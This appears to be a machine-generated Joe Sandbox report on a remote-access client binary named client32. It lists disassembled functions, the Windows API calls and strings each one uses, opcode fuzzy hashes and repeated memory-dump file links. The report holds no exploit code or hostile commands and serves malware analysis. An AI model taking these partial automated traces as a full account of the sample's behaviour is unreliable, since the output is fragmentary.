Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$std::exception::exception$Exception@8Throw$Xinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 827257264-309773918
Opcode ID: d2707828996f7fd2fb6b0096e947ac315ce78d8dea43267056822aadabc21116
Instruction ID: 09db0a3ef1a8b97eb13c6bf20f886ffc4e465cfcc5913386cf6d47a97a487126
Opcode Fuzzy Hash: d2707828996f7fd2fb6b0096e947ac315ce78d8dea43267056822aadabc21116
Instruction Fuzzy Hash: C541A476E00115EBDB44CE68CC81AEEF7B6EF81214F69C669E819D7344F674EE018790

Function 1114D260 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 1114D2A7
VariantCopy.OLEAUT32(?,?), ref: 1114D2B2
InterlockedDecrement.KERNEL32(00000000), ref: 1114D3A3
SysFreeString.OLEAUT32(00000000), ref: 1114D3B4
VariantClear.OLEAUT32(?), ref: 1114D3D7

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1114D2F1, 1114D375
j WBL::Navigate("%s"): Not found, xrefs: 1114D38B
IsA(), xrefs: 1114D2F6, 1114D37A

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Variant$ClearCopyDecrementErrorExitFreeInitInterlockedLastMessageProcessStringwsprintf
String ID: IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$j WBL::Navigate("%s"): Not found
API String ID: 2113348986-1444239324
Opcode ID: 505b6a715768720a2132686fdee3dcbce9efb1037a56723b4091fba8596d906a
Instruction ID: ef2dcad5329b224375f8636342de6fbdbedf0c757d6702f57242542df085ab20
Opcode Fuzzy Hash: 505b6a715768720a2132686fdee3dcbce9efb1037a56723b4091fba8596d906a
Instruction Fuzzy Hash: BE51C5B5A00606AFDF00DFA5CD84E9FF7B9AF59714F608258E915A7340DB34E901CBA1

Function 1104B05F Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 126windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

PostMessageA.USER32(0000FFFF,0000C1E1,00000000,00000000), ref: 1104B155
PostMessageA.USER32(000A023C,0000048F,00000032,00000000), ref: 1104B186
PostMessageA.USER32(000A023C,00000483,00000000,00000000), ref: 1104B198
PostMessageA.USER32(000A023C,0000048F,000000C8,00000000), ref: 1104B1AC
PostMessageA.USER32(000A023C,00000483,00000001,?), ref: 1104B1C3
PostMessageA.USER32(000A023C,00000800,00000000,00000000), ref: 1104B1D4

Strings

Client, xrefs: 1104B06C
UnloadMirrorOnEndView, xrefs: 1104B067

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessagePost$__wcstoi64
String ID: Client$UnloadMirrorOnEndView
API String ID: 1802880851-3586292995
Opcode ID: 625ed2a9e27e85a60aba76972fa3aca57e7d560bc84cde9a3d0dcc344165281d
Instruction ID: e0505e309cb56cc8f5ff04908351ccd34322ec2c7b7688592d6fea5d03e3379f
Opcode Fuzzy Hash: 625ed2a9e27e85a60aba76972fa3aca57e7d560bc84cde9a3d0dcc344165281d
Instruction Fuzzy Hash: 4041F575B02621AFD715DBA0CC81FAEF7A9BF85B08F108169FA1567284CB70B940CBD5

Function 11005160 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 1100516E
_memset.LIBCMT ref: 11005190
GetMenuItemID.USER32(?,00000000), ref: 110051A4
CheckMenuItem.USER32(?,00000000,00000000), ref: 11005201
EnableMenuItem.USER32(?,00000000,00000000), ref: 11005217
GetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 11005238
SetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 11005264

Strings

0, xrefs: 1100519D

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemMenu$Info$CheckCountEnable_memset
String ID: 0
API String ID: 2755257978-4108050209
Opcode ID: ed69649b84937dec283889605bbfa775386e748c32dea1dcd3e91a15f451bfe3
Instruction ID: ba601667d0dbcbc68abddaeb712eeca770598da9b47231f1fad8371f9a74750a
Opcode Fuzzy Hash: ed69649b84937dec283889605bbfa775386e748c32dea1dcd3e91a15f451bfe3
Instruction Fuzzy Hash: 0131A070D0121ABBEB01DFA4D884BEEBBFCEF46398F008159F941E6240E7759A04CB60

Function 1100D3A0 Relevance: 13.6, APIs: 9, Instructions: 75libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,111918F0), ref: 1100D3B4
GetProcAddress.KERNEL32(00000000,111918E0), ref: 1100D3C8
GetProcAddress.KERNEL32(00000000,111918D0), ref: 1100D3DD
GetProcAddress.KERNEL32(00000000,111918C0), ref: 1100D3F1
GetProcAddress.KERNEL32(00000000,111918B4), ref: 1100D405
GetProcAddress.KERNEL32(00000000,11191894), ref: 1100D41A
GetProcAddress.KERNEL32(00000000,11191874), ref: 1100D42E
GetProcAddress.KERNEL32(00000000,11191864), ref: 1100D442
GetProcAddress.KERNEL32(00000000,11191854), ref: 1100D457

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: e0ae5740138e18821e3a24a89387d613ab946f1d9d6b2b3a6b9a3a6b3fa5a763
Instruction ID: 133235a5dede8c45fdea6c588508a5ee8612860ef75b37f964a6b1024f1665f3
Opcode Fuzzy Hash: e0ae5740138e18821e3a24a89387d613ab946f1d9d6b2b3a6b9a3a6b3fa5a763
Instruction Fuzzy Hash: 3331BCB59126349FF706DBE8C8C5A76B7E9A748718F00857AE42083258D7B4AC80CFE1

Function 1103D280 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 319COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1103D313
_memset.LIBCMT ref: 1103D321
_memmove.LIBCMT ref: 1103D32E

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Part of subcall function 1103D000: Sleep.KERNEL32(000001F4,00000000,?,00000000,-111E8454), ref: 1103D031

Part of subcall function 110290C0: _strrchr.LIBCMT ref: 110291B5
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 110291F4

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1103D2BF, 1103D2EE, 1103D34D, 1103D383, 1103D3CC, 1103D439, 1103D492, 1103D51C, 1103D54F, 1103D5B9, 1103D5F0
PF%sinclude:*exclude:, xrefs: 1103D3E2
redirect:, xrefs: 1103D3F8
IsA(), xrefs: 1103D2C4, 1103D2F3, 1103D352, 1103D388, 1103D3D1, 1103D43E, 1103D497, 1103D521, 1103D554, 1103D5BE, 1103D5F5

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExitProcess$ErrorLastMessageSleep_malloc_memmove_memset_strrchrwsprintf
String ID: IsA()$PF%sinclude:*exclude:$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$redirect:
API String ID: 3725223747-3293259664
Opcode ID: 835a85e2e76ba731cc47dc4224ca25b8315324302a19e19a65d98dcadd3fece4
Instruction ID: 2973721dda51d4375ed7ba57751720d06068f42375d5ed4393b8cac30ed117a9
Opcode Fuzzy Hash: 835a85e2e76ba731cc47dc4224ca25b8315324302a19e19a65d98dcadd3fece4
Instruction Fuzzy Hash: E5B1C235E0191A9FDB06DF94DC94FEEB7B5EF85208F448258EC2567290EB34A908CBD1

Function 1106D080 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,8F98CBB2,?,76937CB0,76937AA0), ref: 1106D102
SetEvent.KERNEL32(?,?,00000000,1106AF70,?,?), ref: 1106D1E2

Strings

Deregister NC_CHATEX for conn=%s, q=%p, xrefs: 1106D0E5
erased=%d, idata->dead=%d, xrefs: 1106D2B3
..\ctl32\Connect.cpp, xrefs: 1106D2CA

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalEnterEventSection
String ID: ..\ctl32\Connect.cpp$Deregister NC_CHATEX for conn=%s, q=%p$erased=%d, idata->dead=%d
API String ID: 2291802058-2272698802
Opcode ID: 813a7232b034f6144db0d4d7ea3462f383952e4aa83488041cd1c980c73132e3
Instruction ID: 99872d5b1e15df2ba1248a11d837dfcc44334b10e4762b2090e01d9043681442
Opcode Fuzzy Hash: 813a7232b034f6144db0d4d7ea3462f383952e4aa83488041cd1c980c73132e3
Instruction Fuzzy Hash: 6771C0B0E00296EFE715CF64C884F9EBBF9AB04324F1481D9E44A9B291D734E9C5CB90

Function 1101D540 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

InflateRect.USER32(?,000000FF,000000FF), ref: 1101D5B4
InflateRect.USER32(?,000000FF,000000FF), ref: 1101D5E4
InflateRect.USER32(?,000000FF,000000FF), ref: 1101D608
GetBkColor.GDI32(?), ref: 1101D60E
GetTextColor.GDI32(?), ref: 1101D695

Strings

VUUU, xrefs: 1101D6E0
VUUU, xrefs: 1101D646

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InflateRect$Color$Text
String ID: VUUU$VUUU
API String ID: 1214208285-3149182767
Opcode ID: f08a4eeb430e5e40de2adc65d3df484e94e58c05f2703d116b567d6bb213df73
Instruction ID: cd44d9c8e78e9e990804dbbc1eca3e8423565eb1bbc3582a46d0fc845a82d456
Opcode Fuzzy Hash: f08a4eeb430e5e40de2adc65d3df484e94e58c05f2703d116b567d6bb213df73
Instruction Fuzzy Hash: 3C616075E0021A9BCB04DFA8D881AAEF7F5FF98324F148619E415E7385E634FA05CB90

Function 110B3370 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

Part of subcall function 1110C580: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,7736C3F0,?,1110D2DD,00000000,00000001,?,?,?,?,?,110309CC), ref: 1110C59E

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

InitializeCriticalSection.KERNEL32(0000002C,?,?,?,?,?,?,?,00000000,111812D6,000000FF), ref: 110B33F5
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000,111812D6,000000FF), ref: 110B33FF
GetVersion.KERNEL32(?,?,?,?,?,?,?,00000000,111812D6,000000FF), ref: 110B341A
std::exception::exception.LIBCMT ref: 110B3469
__CxxThrowException@8.LIBCMT ref: 110B347E
std::_Xinvalid_argument.LIBCPMT ref: 110B34CD

Strings

vector<T> too long, xrefs: 110B34C8

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateEvent$CriticalException@8InitializeSectionThrowVersionXinvalid_argument_malloc_memsetstd::_std::exception::exceptionwsprintf
String ID: vector<T> too long
API String ID: 2799244587-3788999226
Opcode ID: 2dde2e287c4cb87b3e48a10323d32c7b497914b31497e3b4936dbb36e3826467
Instruction ID: fabf65b63d2477a14e506558ca8eecc837ccc66aa4ad8f5c9d11cc63dd9eaa79
Opcode Fuzzy Hash: 2dde2e287c4cb87b3e48a10323d32c7b497914b31497e3b4936dbb36e3826467
Instruction Fuzzy Hash: 625160B5D04705AFC714DF69C880A9AFBF8FB48304F50892EE95A97640E775B904CFA1

Function 1100F2E0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1100F30D
std::_Lockit::_Lockit.LIBCPMT ref: 1100F330
std::bad_exception::bad_exception.LIBCMT ref: 1100F3B4
__CxxThrowException@8.LIBCMT ref: 1100F3C2
std::_Lockit::_Lockit.LIBCPMT ref: 1100F3D5
std::locale::facet::_Facet_Register.LIBCPMT ref: 1100F3EF

Strings

bad cast, xrefs: 1100F3AC

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: 728a32eaeb05f4af535badae1fbf694374bd09ca27186dc10fa6460706712be1
Instruction ID: cb7d4980c5764d39d232efc1c3657fa20eb5a175d35e610bb7c1254f92e5f960
Opcode Fuzzy Hash: 728a32eaeb05f4af535badae1fbf694374bd09ca27186dc10fa6460706712be1
Instruction Fuzzy Hash: C531D335D002259BDB55CF94C880BAEF7B4EB15378F00426DE825A7290DB71BA05CBD2

Function 11027390 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 11140F70: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11190A88), ref: 11140FDD
Part of subcall function 11140F70: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110C55B), ref: 1114101E
Part of subcall function 11140F70: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1114107B

wsprintfA.USER32 ref: 110273BE

Part of subcall function 1113F5D0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110C55B,76938400,?), ref: 1113F667
Part of subcall function 1113F5D0: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 1113F687
Part of subcall function 1113F5D0: CloseHandle.KERNEL32(00000000), ref: 1113F68F

wsprintfA.USER32 ref: 110273E8
ShellExecuteA.SHELL32(00000000,open,?,/EM,00000000,00000001), ref: 1102743B

Strings

"%sWINST32.EXE", xrefs: 110273E2
"%sWINSTALL.EXE", xrefs: 110273B8
/EM, xrefs: 11027428
open, xrefs: 11027434

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
